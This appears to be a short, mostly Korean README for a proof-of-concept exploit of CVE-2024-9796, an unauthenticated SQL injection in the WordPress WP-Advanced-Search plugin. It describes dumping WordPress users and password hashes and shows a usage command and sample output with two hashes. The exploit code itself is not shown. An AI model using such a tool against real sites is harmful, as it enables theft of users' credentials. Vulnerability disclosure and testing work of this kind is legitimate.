bwithe/cve-2024-9796CVE-2024-9796 WP-Advanced-Search < 3.3.9.2 - 인증되지 않은 SQL 인젝션. Poc.
PoC SQL 인젝션은 WordPress 사용자와 해시를 덤프합니다.
이 스크립트는 교육 목적으로만 사용됩니다.
불법적인 목적으로 사용하지 마십시오.
만약 사용한다면 전적으로 귀하의 책임이며, 저는 오용에 대해 책임을 지지 않습니다.
https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/
# Successful attempt
python3 poc.py -i 127.0.0.1
[!] 127.0.0.1 has been PWNed!
admin:$P$H5blBNpO5AVI7eDJJi95E6pso16h981
user:$P$H1Sa1pcnzwWha3G9XH5rkfB6wOcE2a1
# unsuccessful attempt
python3 poc.py -i 127.0.0.1
[!] Doesn't look vulnerable..